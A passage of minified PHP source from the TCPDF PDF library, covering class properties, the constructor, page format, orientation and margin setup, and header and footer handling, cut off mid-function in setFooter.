$start_transaction_page=0; var $start_transaction_y=0; var $inthead=false; var $columns=array(); var $num_columns=1; var $current_column=0; var $column_start_page=0; var $maxselcol=array('page'=>0,'column'=>0); var $colxshift=array('x'=>0,'s'=>array('H'=>0,'V'=>0),'p'=>array('L'=>0,'T'=>0,'R'=>0,'B'=>0)); var $textrendermode=0; var $textstrokewidth=0; var $strokecolor; var $pdfunit='mm'; var $tocpage=false; var $rasterize_vector_images=false; var $font_subsetting=true; var $default_graphic_vars=array(); var $xobjects=array(); var $inxobj=false; var $xobjid=''; var $font_stretching=100; var $font_spacing=0; var $page_regions=array(); var $check_page_regions=true; var $pdflayers=array(); var $dests=array(); var $n_dests; var $efnames=array(); var $svgdir=''; var $svgunit='px'; var $svggradients=array(); var $svggradientid=0; var $svgdefsmode=false; var $svgdefs=array(); var $svgclipmode=false; var $svgclippaths=array(); var $svgcliptm=array(); var $svgclipid=0; var $svgtext=''; var $svgtextmode=array(); var $svgstyles=array(array('alignment-baseline'=>'auto','baseline-shift'=>'baseline','clip'=>'auto','clip-path'=>'none','clip-rule'=>'nonzero','color'=>'black','color-interpolation'=>'sRGB','color-interpolation-filters'=>'linearRGB','color-profile'=>'auto','color-rendering'=>'auto','cursor'=>'auto','direction'=>'ltr','display'=>'inline','dominant-baseline'=>'auto','enable-background'=>'accumulate','fill'=>'black','fill-opacity'=>1,'fill-rule'=>'nonzero','filter'=>'none','flood-color'=>'black','flood-opacity'=>1,'font'=>'','font-family'=>'helvetica','font-size'=>'medium','font-size-adjust'=>'none','font-stretch'=>'normal','font-style'=>'normal','font-variant'=>'normal','font-weight'=>'normal','glyph-orientation-horizontal'=>'0deg','glyph-orientation-vertical'=>'auto','image-rendering'=>'auto','kerning'=>'auto','letter-spacing'=>'normal','lighting-color'=>'white','marker'=>'','marker-end'=>'none','marker-mid'=>'none','marker-start'=>'none','mask'=>'none','opacity'=>1,'overflow'=>'auto','pointer-events'=>'visiblePainted','shape-rendering'=>'auto','stop-color'=>'black','stop-opacity'=>1,'stroke'=>'none','stroke-dasharray'=>'none','stroke-dashoffset'=>0,'stroke-linecap'=>'butt','stroke-linejoin'=>'miter','stroke-miterlimit'=>4,'stroke-opacity'=>1,'stroke-width'=>1,'text-anchor'=>'start','text-decoration'=>'none','text-rendering'=>'auto','unicode-bidi'=>'normal','visibility'=>'visible','word-spacing'=>'normal','writing-mode'=>'lr-tb','text-color'=>'black','transfmatrix'=>array(1,0,0,1,0,0))); var $force_srgb=false; var $pdfa_mode=false; var $doc_creation_timestamp; var $doc_modification_timestamp; var $custom_xmp=''; var $overprint=array('OP'=>false,'op'=>false,'OPM'=>0); var $alpha=array('CA'=>1,'ca'=>1,'BM'=>'/Normal','AIS'=>false); var $page_boxes=array('MediaBox','CropBox','BleedBox','TrimBox','ArtBox'); var $tcpdflink=true; var $gdgammacache=array(); function __construct($orientation='P',$unit='mm',$format='A4',$unicode=true,$encoding='UTF-8',$diskcache=false,$pdfa=false){if(function_exists('mb_internal_encoding') AND mb_internal_encoding()){$this->internal_encoding=mb_internal_encoding();mb_internal_encoding('ASCII');}$serformat=(is_array($format)?json_encode($format):$format);$this->file_id=md5(TCPDF_STATIC::getRandomSeed('TCPDF'.$orientation.$unit.$serformat.$encoding));$this->font_obj_ids=array();$this->page_obj_id=array();$this->form_obj_id=array();$this->pdfa_mode=$pdfa;$this->force_srgb=false;$this->rtl=false;$this->tmprtl=false;$this->_dochecks();$this->isunicode=$unicode;$this->page=0;$this->transfmrk[0]=array();$this->pagedim=array();$this->n=2;$this->buffer='';$this->pages=array();$this->state=0;$this->fonts=array();$this->FontFiles=array();$this->diffs=array();$this->images=array();$this->links=array();$this->gradients=array();$this->InFooter=false;$this->lasth=0;$this->FontFamily=defined('PDF_FONT_NAME_MAIN')?PDF_FONT_NAME_MAIN:'helvetica';$this->FontStyle='';$this->FontSizePt=12;$this->underline=false;$this->overline=false;$this->linethrough=false;$this->DrawColor='0 G';$this->FillColor='0 g';$this->TextColor='0 g';$this->ColorFlag=false;$this->pdflayers=array();$this->encrypted=false;$this->last_enc_key='';$this->CoreFonts=array('courier'=>'Courier','courierB'=>'Courier-Bold','courierI'=>'Courier-Oblique','courierBI'=>'Courier-BoldOblique','helvetica'=>'Helvetica','helveticaB'=>'Helvetica-Bold','helveticaI'=>'Helvetica-Oblique','helveticaBI'=>'Helvetica-BoldOblique','times'=>'Times-Roman','timesB'=>'Times-Bold','timesI'=>'Times-Italic','timesBI'=>'Times-BoldItalic','symbol'=>'Symbol','zapfdingbats'=>'ZapfDingbats');$this->setPageUnit($unit);$this->setPageFormat($format,$orientation);$margin=28.35/$this->k;$this->SetMargins($margin,$margin);$this->clMargin=$this->lMargin;$this->crMargin=$this->rMargin;$cpadding=$margin/10;$this->setCellPaddings($cpadding,0,$cpadding,0);$this->setCellMargins(0,0,0,0);$this->LineWidth=0.57/$this->k;$this->linestyleWidth=sprintf('%F w',($this->LineWidth*$this->k));$this->linestyleCap='0 J';$this->linestyleJoin='0 j';$this->linestyleDash='[] 0 d';$this->SetAutoPageBreak(true,(2*$margin));$this->SetDisplayMode('fullwidth');$this->SetCompression();$this->setPDFVersion();$this->tcpdflink=true;$this->encoding=$encoding;$this->HREF=array();$this->fgcolor=array('R'=>0,'G'=>0,'B'=>0);$this->strokecolor=array('R'=>0,'G'=>0,'B'=>0);$this->bgcolor=array('R'=>255,'G'=>255,'B'=>255);$this->extgstates=array();$this->setTextShadow();$this->sign=false;$this->tsa_timestamp=false;$this->tsa_data=array();$this->signature_appearance=array('page'=>1,'rect'=>'0 0 0 0','name'=>'Signature');$this->empty_signature_appearance=array();$this->ur['enabled']=false;$this->ur['document']='/FullSave';$this->ur['annots']='/Create/Delete/Modify/Copy/Import/Export';$this->ur['form']='/Add/Delete/FillIn/Import/Export/SubmitStandalone/SpawnTemplate';$this->ur['signature']='/Modify';$this->ur['ef']='/Create/Delete/Modify/Import';$this->ur['formex']='';$this->jpeg_quality=75;TCPDF_FONTS::utf8Bidi(array(''),'',false,$this->isunicode,$this->CurrentFont);$this->SetFont($this->FontFamily,$this->FontStyle,$this->FontSizePt);$this->setHeaderFont(array($this->FontFamily,$this->FontStyle,$this->FontSizePt));$this->setFooterFont(array($this->FontFamily,$this->FontStyle,$this->FontSizePt));if($this->isunicode AND (@preg_match('/\pL/u','a')==1)){$this->setSpacesRE('/(?!)[\s\p{Z}]/u');}else {$this->setSpacesRE('/[^\S]/');}$this->default_form_prop=array('lineWidth'=>1,'borderStyle'=>'solid','fillColor'=>array(255,255,255),'strokeColor'=>array(128,128,128));$this->doc_creation_timestamp=time();$this->doc_modification_timestamp=$this->doc_creation_timestamp;$this->default_graphic_vars=$this->getGraphicVars();$this->header_xobj_autoreset=false;$this->custom_xmp='';register_shutdown_function(array($this,'_destroy'),true);} function __destruct(){if(isset($this->internal_encoding) AND !empty($this->internal_encoding)){mb_internal_encoding($this->internal_encoding);}$this->_destroy(true);} function setPageUnit($unit){$unit=strtolower($unit);switch($unit){case 'px':case 'pt':{$this->k=1;break;}case 'mm':{$this->k=$this->dpi/25.4;break;}case 'cm':{$this->k=$this->dpi/2.54;break;}case 'in':{$this->k=$this->dpi;break;}default:{$this->Error('Incorrect unit: '.$unit);break;}}$this->pdfunit=$unit;if(isset($this->CurOrientation)){$this->setPageOrientation($this->CurOrientation);}} function setPageFormat($format,$orientation='P'){if(!empty($format) AND isset($this->pagedim[$this->page])){unset($this->pagedim[$this->page]);}if(is_string($format)){$pf=TCPDF_STATIC::getPageSizeFromFormat($format);$this->fwPt=$pf[0];$this->fhPt=$pf[1];}else {if(isset($format['MediaBox'])){$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,'MediaBox',$format['MediaBox']['llx'],$format['MediaBox']['lly'],$format['MediaBox']['urx'],$format['MediaBox']['ury'],false,$this->k,$this->pagedim);$this->fwPt=(($format['MediaBox']['urx']-$format['MediaBox']['llx'])*$this->k);$this->fhPt=(($format['MediaBox']['ury']-$format['MediaBox']['lly'])*$this->k);}else {if(isset($format[0]) AND is_numeric($format[0]) AND isset($format[1]) AND is_numeric($format[1])){$pf=array(($format[0]*$this->k),($format[1]*$this->k));}else {if(!isset($format['format'])){$format['format']='A4';}$pf=TCPDF_STATIC::getPageSizeFromFormat($format['format']);}$this->fwPt=$pf[0];$this->fhPt=$pf[1];$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,'MediaBox',0,0,$this->fwPt,$this->fhPt,true,$this->k,$this->pagedim);}if(isset($format['CropBox'])){$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,'CropBox',$format['CropBox']['llx'],$format['CropBox']['lly'],$format['CropBox']['urx'],$format['CropBox']['ury'],false,$this->k,$this->pagedim);}if(isset($format['BleedBox'])){$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,'BleedBox',$format['BleedBox']['llx'],$format['BleedBox']['lly'],$format['BleedBox']['urx'],$format['BleedBox']['ury'],false,$this->k,$this->pagedim);}if(isset($format['TrimBox'])){$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,'TrimBox',$format['TrimBox']['llx'],$format['TrimBox']['lly'],$format['TrimBox']['urx'],$format['TrimBox']['ury'],false,$this->k,$this->pagedim);}if(isset($format['ArtBox'])){$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,'ArtBox',$format['ArtBox']['llx'],$format['ArtBox']['lly'],$format['ArtBox']['urx'],$format['ArtBox']['ury'],false,$this->k,$this->pagedim);}if(isset($format['BoxColorInfo'])){$this->pagedim[$this->page]['BoxColorInfo']=$format['BoxColorInfo'];}if(isset($format['Rotate']) AND (($format['Rotate']%90)==0)){$this->pagedim[$this->page]['Rotate']=intval($format['Rotate']);}if(isset($format['PZ'])){$this->pagedim[$this->page]['PZ']=floatval($format['PZ']);}if(isset($format['trans'])){if(isset($format['trans']['Dur'])){$this->pagedim[$this->page]['trans']['Dur']=floatval($format['trans']['Dur']);}$stansition_styles=array('Split','Blinds','Box','Wipe','Dissolve','Glitter','R','Fly','Push','Cover','Uncover','Fade');if(isset($format['trans']['S']) AND in_array($format['trans']['S'],$stansition_styles)){$this->pagedim[$this->page]['trans']['S']=$format['trans']['S'];$valid_effect=array('Split','Blinds');$valid_vals=array('H','V');if(isset($format['trans']['Dm']) AND in_array($format['trans']['S'],$valid_effect) AND in_array($format['trans']['Dm'],$valid_vals)){$this->pagedim[$this->page]['trans']['Dm']=$format['trans']['Dm'];}$valid_effect=array('Split','Box','Fly');$valid_vals=array('I','O');if(isset($format['trans']['M']) AND in_array($format['trans']['S'],$valid_effect) AND in_array($format['trans']['M'],$valid_vals)){$this->pagedim[$this->page]['trans']['M']=$format['trans']['M'];}$valid_effect=array('Wipe','Glitter','Fly','Cover','Uncover','Push');if(isset($format['trans']['Di']) AND in_array($format['trans']['S'],$valid_effect)){if(((($format['trans']['Di']==90) OR ($format['trans']['Di']==180)) AND ($format['trans']['S']=='Wipe')) OR (($format['trans']['Di']==315) AND ($format['trans']['S']=='Glitter')) OR (($format['trans']['Di']==0) OR ($format['trans']['Di']==270))){$this->pagedim[$this->page]['trans']['Di']=intval($format['trans']['Di']);}}if(isset($format['trans']['SS']) AND ($format['trans']['S']=='Fly')){$this->pagedim[$this->page]['trans']['SS']=floatval($format['trans']['SS']);}if(isset($format['trans']['B']) AND ($format['trans']['B']===true) AND ($format['trans']['S']=='Fly')){$this->pagedim[$this->page]['trans']['B']='true';}}else {$this->pagedim[$this->page]['trans']['S']='R';}if(isset($format['trans']['D'])){$this->pagedim[$this->page]['trans']['D']=floatval($format['trans']['D']);}else {$this->pagedim[$this->page]['trans']['D']=1;}}}$this->setPageOrientation($orientation);} function setPageOrientation($orientation,$autopagebreak='',$bottommargin=''){if(!isset($this->pagedim[$this->page]['MediaBox'])){$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,'MediaBox',0,0,$this->fwPt,$this->fhPt,true,$this->k,$this->pagedim);}if(!isset($this->pagedim[$this->page]['CropBox'])){$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,'CropBox',$this->pagedim[$this->page]['MediaBox']['llx'],$this->pagedim[$this->page]['MediaBox']['lly'],$this->pagedim[$this->page]['MediaBox']['urx'],$this->pagedim[$this->page]['MediaBox']['ury'],true,$this->k,$this->pagedim);}if(!isset($this->pagedim[$this->page]['BleedBox'])){$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,'BleedBox',$this->pagedim[$this->page]['CropBox']['llx'],$this->pagedim[$this->page]['CropBox']['lly'],$this->pagedim[$this->page]['CropBox']['urx'],$this->pagedim[$this->page]['CropBox']['ury'],true,$this->k,$this->pagedim);}if(!isset($this->pagedim[$this->page]['TrimBox'])){$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,'TrimBox',$this->pagedim[$this->page]['CropBox']['llx'],$this->pagedim[$this->page]['CropBox']['lly'],$this->pagedim[$this->page]['CropBox']['urx'],$this->pagedim[$this->page]['CropBox']['ury'],true,$this->k,$this->pagedim);}if(!isset($this->pagedim[$this->page]['ArtBox'])){$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,'ArtBox',$this->pagedim[$this->page]['CropBox']['llx'],$this->pagedim[$this->page]['CropBox']['lly'],$this->pagedim[$this->page]['CropBox']['urx'],$this->pagedim[$this->page]['CropBox']['ury'],true,$this->k,$this->pagedim);}if(!isset($this->pagedim[$this->page]['Rotate'])){$this->pagedim[$this->page]['Rotate']=0;}if(!isset($this->pagedim[$this->page]['PZ'])){$this->pagedim[$this->page]['PZ']=1;}if($this->fwPt>$this->fhPt){$default_orientation='L';}else {$default_orientation='P';}$valid_orientations=array('P','L');if(empty($orientation)){$orientation=$default_orientation;}else {$orientation=strtoupper($orientation[0]);}if(in_array($orientation,$valid_orientations) AND ($orientation!=$default_orientation)){$this->CurOrientation=$orientation;$this->wPt=$this->fhPt;$this->hPt=$this->fwPt;}else {$this->CurOrientation=$default_orientation;$this->wPt=$this->fwPt;$this->hPt=$this->fhPt;}if((abs($this->pagedim[$this->page]['MediaBox']['urx']-$this->hPt)<$this->feps) AND (abs($this->pagedim[$this->page]['MediaBox']['ury']-$this->wPt)<$this->feps)){$this->pagedim=TCPDF_STATIC::swapPageBoxCoordinates($this->page,$this->pagedim);}$this->w=($this->wPt/$this->k);$this->h=($this->hPt/$this->k);if(TCPDF_STATIC::empty_string($autopagebreak)){if(isset($this->AutoPageBreak)){$autopagebreak=$this->AutoPageBreak;}else {$autopagebreak=true;}}if(TCPDF_STATIC::empty_string($bottommargin)){if(isset($this->bMargin)){$bottommargin=$this->bMargin;}else {$bottommargin=2*28.35/$this->k;}}$this->SetAutoPageBreak($autopagebreak,$bottommargin);$this->pagedim[$this->page]['w']=$this->wPt;$this->pagedim[$this->page]['h']=$this->hPt;$this->pagedim[$this->page]['wk']=$this->w;$this->pagedim[$this->page]['hk']=$this->h;$this->pagedim[$this->page]['tm']=$this->tMargin;$this->pagedim[$this->page]['bm']=$bottommargin;$this->pagedim[$this->page]['lm']=$this->lMargin;$this->pagedim[$this->page]['rm']=$this->rMargin;$this->pagedim[$this->page]['pb']=$autopagebreak;$this->pagedim[$this->page]['or']=$this->CurOrientation;$this->pagedim[$this->page]['olm']=$this->original_lMargin;$this->pagedim[$this->page]['orm']=$this->original_rMargin;} function setSpacesRE($re='/[^\S]/'){$this->re_spaces=$re;$re_parts=explode('/',$re);$this->re_space=array();if(isset($re_parts[1]) AND !empty($re_parts[1])){$this->re_space['p']=$re_parts[1];}else {$this->re_space['p']='[\s]';}if(isset($re_parts[2]) AND !empty($re_parts[2])){$this->re_space['m']=$re_parts[2];}else {$this->re_space['m']='';}} function setRTL($enable,$resetx=true){$enable=$enable?true:false;$resetx=($resetx AND ($enable!=$this->rtl));$this->rtl=$enable;$this->tmprtl=false;if($resetx){$this->Ln(0);}} function getRTL(){return $this->rtl;} function setTempRTL($mode){$newmode=false;switch(strtoupper($mode)){case 'LTR':case 'L':{if($this->rtl){$newmode='L';}break;}case 'RTL':case 'R':{if(!$this->rtl){$newmode='R';}break;}case false:default:{$newmode=false;break;}}$this->tmprtl=$newmode;} function isRTLTextDir(){return ($this->rtl OR ($this->tmprtl=='R'));} function setLastH($h){$this->lasth=$h;} function getCellHeight($fontsize,$padding=TRUE){$height=($fontsize*$this->cell_height_ratio);if($padding){$height+=($this->cell_padding['T']+$this->cell_padding['B']);}return round($height,6);} function resetLastH(){$this->lasth=$this->getCellHeight($this->FontSize);} function getLastH(){return $this->lasth;} function setImageScale($scale){$this->imgscale=$scale;} function getImageScale(){return $this->imgscale;} function getPageDimensions($pagenum=''){if(empty($pagenum)){$pagenum=$this->page;}return $this->pagedim[$pagenum];} function getPageWidth($pagenum=''){if(empty($pagenum)){return $this->w;}return $this->pagedim[$pagenum]['w'];} function getPageHeight($pagenum=''){if(empty($pagenum)){return $this->h;}return $this->pagedim[$pagenum]['h'];} function getBreakMargin($pagenum=''){if(empty($pagenum)){return $this->bMargin;}return $this->pagedim[$pagenum]['bm'];} function getScaleFactor(){return $this->k;} function SetMargins($left,$top,$right=-1,$keepmargins=false){$this->lMargin=$left;$this->tMargin=$top;if($right==-1){$right=$left;}$this->rMargin=$right;if($keepmargins){$this->original_lMargin=$this->lMargin;$this->original_rMargin=$this->rMargin;}} function SetLeftMargin($margin){$this->lMargin=$margin;if(($this->page>0) AND ($this->x<$margin)){$this->x=$margin;}} function SetTopMargin($margin){$this->tMargin=$margin;if(($this->page>0) AND ($this->y<$margin)){$this->y=$margin;}} function SetRightMargin($margin){$this->rMargin=$margin;if(($this->page>0) AND ($this->x>($this->w-$margin))){$this->x=$this->w-$margin;}} function SetCellPadding($pad){if($pad>=0){$this->cell_padding['L']=$pad;$this->cell_padding['T']=$pad;$this->cell_padding['R']=$pad;$this->cell_padding['B']=$pad;}} function setCellPaddings($left='',$top='',$right='',$bottom=''){if(($left!=='') AND ($left>=0)){$this->cell_padding['L']=$left;}if(($top!=='') AND ($top>=0)){$this->cell_padding['T']=$top;}if(($right!=='') AND ($right>=0)){$this->cell_padding['R']=$right;}if(($bottom!=='') AND ($bottom>=0)){$this->cell_padding['B']=$bottom;}} function getCellPaddings(){return $this->cell_padding;} function setCellMargins($left='',$top='',$right='',$bottom=''){if(($left!=='') AND ($left>=0)){$this->cell_margin['L']=$left;}if(($top!=='') AND ($top>=0)){$this->cell_margin['T']=$top;}if(($right!=='') AND ($right>=0)){$this->cell_margin['R']=$right;}if(($bottom!=='') AND ($bottom>=0)){$this->cell_margin['B']=$bottom;}} function getCellMargins(){return $this->cell_margin;} function adjustCellPadding($brd=0){if(empty($brd)){return;}if(is_string($brd)){$slen=strlen($brd);$newbrd=array();for($i=0;$i<$slen;++$i){$newbrd[$brd[$i]]=true;}$brd=$newbrd;}elseif(($brd===1) OR ($brd===true) OR (is_numeric($brd) AND (intval($brd)>0))){$brd=array('LRTB'=>true);}if(!is_array($brd)){return;}$cp=$this->cell_padding;if(isset($brd['mode'])){$mode=$brd['mode'];unset($brd['mode']);}else {$mode='normal';}foreach($brd as $border=>$style){$line_width=$this->LineWidth;if(is_array($style) AND isset($style['width'])){$line_width=$style['width'];}$adj=0;switch($mode){case 'ext':{$adj=0;break;}case 'int':{$adj=$line_width;break;}case 'normal':default:{$adj=($line_width/2);break;}}if((strpos($border,'T')!==false) AND ($this->cell_padding['T']<$adj)){$this->cell_padding['T']=$adj;}if((strpos($border,'R')!==false) AND ($this->cell_padding['R']<$adj)){$this->cell_padding['R']=$adj;}if((strpos($border,'B')!==false) AND ($this->cell_padding['B']<$adj)){$this->cell_padding['B']=$adj;}if((strpos($border,'L')!==false) AND ($this->cell_padding['L']<$adj)){$this->cell_padding['L']=$adj;}}return array('T'=>($this->cell_padding['T']-$cp['T']),'R'=>($this->cell_padding['R']-$cp['R']),'B'=>($this->cell_padding['B']-$cp['B']),'L'=>($this->cell_padding['L']-$cp['L']));} function SetAutoPageBreak($auto,$margin=0){$this->AutoPageBreak=$auto?true:false;$this->bMargin=$margin;$this->PageBreakTrigger=$this->h-$margin;} function getAutoPageBreak(){return $this->AutoPageBreak;} function SetDisplayMode($zoom,$layout='SinglePage',$mode='UseNone'){if(($zoom=='fullpage') OR ($zoom=='fullwidth') OR ($zoom=='real') OR ($zoom=='default') OR (!is_string($zoom))){$this->ZoomMode=$zoom;}else {$this->Error('Incorrect zoom display mode: '.$zoom);}$this->LayoutMode=TCPDF_STATIC::getPageLayoutMode($layout);$this->PageMode=TCPDF_STATIC::getPageMode($mode);} function SetCompression($compress=true){if(function_exists('gzcompress')){$this->compress=$compress?true:false;}else {$this->compress=false;}} function setSRGBmode($mode=false){$this->force_srgb=$mode?true:false;} function SetDocInfoUnicode($unicode=true){$this->docinfounicode=$unicode?true:false;} function SetTitle($title){$this->title=$title;} function SetSubject($subject){$this->subject=$subject;} function SetAuthor($author){$this->author=$author;} function SetKeywords($keywords){$this->keywords=$keywords;} function SetCreator($creator){$this->creator=$creator;} function Error($msg){$this->_destroy(true);if(defined('K_TCPDF_THROW_EXCEPTION_ERROR') AND !K_TCPDF_THROW_EXCEPTION_ERROR){die('<strong>TCPDF ERROR: </strong>'.$msg);}else { throw new Exception('TCPDF ERROR: '.$msg);}} function Open(){$this->state=1;} function Close(){if($this->state==3){return;}if($this->page==0){$this->AddPage();}$this->endLayer();if($this->tcpdflink){$gvars=$this->getGraphicVars();$this->setEqualColumns();$this->lastpage(true);$this->SetAutoPageBreak(false);$this->x=0;$this->y=$this->h-(1/$this->k);$this->lMargin=0;$this->_outSaveGraphicsState();$font=defined('PDF_FONT_NAME_MAIN')?PDF_FONT_NAME_MAIN:'helvetica';$this->SetFont($font,'',1);$this->setTextRenderingMode(0,false,false);$msg="Powered by TCPDF (www.tcpdf.org)";$lnk="http://www.tcpdf.org";$this->Cell(0,0,$msg,0,0,'L',0,$lnk,0,false,'D','B');$this->_outRestoreGraphicsState();$this->setGraphicVars($gvars);}$this->endPage();$this->_enddoc();$this->_destroy(false);} function setPage($pnum,$resetmargins=false){if(($pnum==$this->page) AND ($this->state==2)){return;}if(($pnum>0) AND ($pnum<=$this->numpages)){$this->state=2;$oldpage=$this->page;$this->page=$pnum;$this->wPt=$this->pagedim[$this->page]['w'];$this->hPt=$this->pagedim[$this->page]['h'];$this->w=$this->pagedim[$this->page]['wk'];$this->h=$this->pagedim[$this->page]['hk'];$this->tMargin=$this->pagedim[$this->page]['tm'];$this->bMargin=$this->pagedim[$this->page]['bm'];$this->original_lMargin=$this->pagedim[$this->page]['olm'];$this->original_rMargin=$this->pagedim[$this->page]['orm'];$this->AutoPageBreak=$this->pagedim[$this->page]['pb'];$this->CurOrientation=$this->pagedim[$this->page]['or'];$this->SetAutoPageBreak($this->AutoPageBreak,$this->bMargin);if($resetmargins){$this->lMargin=$this->pagedim[$this->page]['olm'];$this->rMargin=$this->pagedim[$this->page]['orm'];$this->SetY($this->tMargin);}else {if($this->pagedim[$this->page]['olm']!=$this->pagedim[$oldpage]['olm']){$deltam=$this->pagedim[$this->page]['olm']-$this->pagedim[$this->page]['orm'];$this->lMargin+=$deltam;$this->rMargin-=$deltam;}}}else {$this->Error('Wrong page number on setPage() function: '.$pnum);}} function lastPage($resetmargins=false){$this->setPage($this->getNumPages(),$resetmargins);} function getPage(){return $this->page;} function getNumPages(){return $this->numpages;} function addTOCPage($orientation='',$format='',$keepmargins=false){$this->AddPage($orientation,$format,$keepmargins,true);} function endTOCPage(){$this->endPage(true);} function AddPage($orientation='',$format='',$keepmargins=false,$tocpage=false){if($this->inxobj){return;}if(!isset($this->original_lMargin) OR $keepmargins){$this->original_lMargin=$this->lMargin;}if(!isset($this->original_rMargin) OR $keepmargins){$this->original_rMargin=$this->rMargin;}$this->endPage();$this->startPage($orientation,$format,$tocpage);} function endPage($tocpage=false){if(($this->page==0) OR ($this->numpages>$this->page) OR (!$this->pageopen[$this->page])){return;}$this->setFooter();$this->_endpage();$this->pageopen[$this->page]=false;if($tocpage){$this->tocpage=false;}} function startPage($orientation='',$format='',$tocpage=false){if($tocpage){$this->tocpage=true;}if($this->tocpage){$tmpoutlines=$this->outlines;foreach($tmpoutlines as $key=>$outline){if(!$outline['f'] AND ($outline['p']>$this->numpages)){$this->outlines[$key]['p']=($outline['p']+1);}}$tmpdests=$this->dests;foreach($tmpdests as $key=>$dest){if(!$dest['f'] AND ($dest['p']>$this->numpages)){$this->dests[$key]['p']=($dest['p']+1);}}$tmplinks=$this->links;foreach($tmplinks as $key=>$link){if(!$link['f'] AND ($link['p']>$this->numpages)){$this->links[$key]['p']=($link['p']+1);}}}if($this->numpages>$this->page){$this->setPage($this->page+1);$this->SetY($this->tMargin);return;}if($this->state==0){$this->Open();}++$this->numpages;$this->swapMargins($this->booklet);$gvars=$this->getGraphicVars();$this->_beginpage($orientation,$format);$this->pageopen[$this->page]=true;$this->setGraphicVars($gvars);$this->setPageMark();$this->setHeader();$this->setGraphicVars($gvars);$this->setPageMark();$this->setTableHeader();$this->emptypagemrk[$this->page]=$this->pagelen[$this->page];} function setPageMark(){$this->intmrk[$this->page]=$this->pagelen[$this->page];$this->bordermrk[$this->page]=$this->intmrk[$this->page];$this->setContentMark();} function setContentMark($page=0){if($page<=0){$page=$this->page;}if(isset($this->footerlen[$page])){$this->cntmrk[$page]=$this->pagelen[$page]-$this->footerlen[$page];}else {$this->cntmrk[$page]=$this->pagelen[$page];}} function setHeaderData($ln='',$lw=0,$ht='',$hs='',$tc=array(0,0,0),$lc=array(0,0,0)){$this->header_logo=$ln;$this->header_logo_width=$lw;$this->header_title=$ht;$this->header_string=$hs;$this->header_text_color=$tc;$this->header_line_color=$lc;} function setFooterData($tc=array(0,0,0),$lc=array(0,0,0)){$this->footer_text_color=$tc;$this->footer_line_color=$lc;} function getHeaderData(){$ret=array();$ret['logo']=$this->header_logo;$ret['logo_width']=$this->header_logo_width;$ret['title']=$this->header_title;$ret['string']=$this->header_string;$ret['text_color']=$this->header_text_color;$ret['line_color']=$this->header_line_color;return $ret;} function setHeaderMargin($hm=10){$this->header_margin=$hm;} function getHeaderMargin(){return $this->header_margin;} function setFooterMargin($fm=10){$this->footer_margin=$fm;} function getFooterMargin(){return $this->footer_margin;} function setPrintHeader($val=true){$this->print_header=$val?true:false;} function setPrintFooter($val=true){$this->print_footer=$val?true:false;} function getImageRBX(){return $this->img_rb_x;} function getImageRBY(){return $this->img_rb_y;} function resetHeaderTemplate(){$this->header_xobjid=false;} function setHeaderTemplateAutoreset($val=true){$this->header_xobj_autoreset=$val?true:false;} function Header(){if($this->header_xobjid===false){$this->header_xobjid=$this->startTemplate($this->w,$this->tMargin);$headerfont=$this->getHeaderFont();$headerdata=$this->getHeaderData();$this->y=$this->header_margin;if($this->rtl){$this->x=$this->w-$this->original_rMargin;}else {$this->x=$this->original_lMargin;}$cell_height=$this->getCellHeight($headerfont[2]/$this->k);if($this->getRTL()){$header_x=$this->original_rMargin+($headerdata['logo_width']*1.1);}else {$header_x=$this->original_lMargin+($headerdata['logo_width']*1.1);}$cw=$this->w-$this->original_lMargin-$this->original_rMargin-($headerdata['logo_width']*1.1);$this->SetTextColorArray($this->header_text_color);$this->SetFont($headerfont[0],'B',$headerfont[2]+1);$this->SetX($header_x);$this->Cell($cw,$cell_height,$headerdata['title'],0,1,'',0,'',0);$this->SetFont($headerfont[0],$headerfont[1],$headerfont[2]);$this->SetX($header_x);$this->MultiCell($cw,$cell_height,$headerdata['string'],0,'',0,1,'','',true,0,false,true,0,'T',false);$this->SetLineStyle(array('width'=>0.85/$this->k,'cap'=>'butt','join'=>'miter','dash'=>0,'color'=>$headerdata['line_color']));$this->SetY((2.835/$this->k)+max(0,$this->y));if($this->rtl){$this->SetX($this->original_rMargin);}else {$this->SetX($this->original_lMargin);}$this->Cell(($this->w-$this->original_lMargin-$this->original_rMargin),0,'','T',0,'C');$this->endTemplate();}$x=0;$dx=0;if(!$this->header_xobj_autoreset AND $this->booklet AND (($this->page%2)==0)){$dx=($this->original_lMargin-$this->original_rMargin);}if($this->rtl){$x=$this->w+$dx;}else {$x=0+$dx;}$this->printTemplate($this->header_xobjid,$x,0,0,0,'','',false);if($this->header_xobj_autoreset){$this->header_xobjid=false;}} function Footer(){} function setHeader(){if(!$this->print_header OR ($this->state!=2)){return;}$this->InHeader=true;$this->setGraphicVars($this->default_graphic_vars);$temp_thead=$this->thead;$temp_theadMargins=$this->theadMargins;$lasth=$this->lasth;$newline=$this->newline;$this->_outSaveGraphicsState();$this->rMargin=$this->original_rMargin;$this->lMargin=$this->original_lMargin;$this->SetCellPadding(0);if($this->rtl){$this->SetXY($this->original_rMargin,$this->header_margin);}else {$this->SetXY($this->original_lMargin,$this->header_margin);}$this->SetFont($this->header_font[0],$this->header_font[1],$this->header_font[2]);$this->Header();if($this->rtl){$this->SetXY($this->original_rMargin,$this->tMargin);}else {$this->SetXY($this->original_lMargin,$this->tMargin);}$this->_outRestoreGraphicsState();$this->lasth=$lasth;$this->thead=$temp_thead;$this->theadMargins=$temp_theadMargins;$this->newline=$newline;$this->InHeader=false;} function setFooter(){if($this->state!=2){return;}$this->InFooter=true;$gvars=$this->getGraphicVars();$this->footerpos[$this->page]=$this->pagelen[$this->page];$this->_out("
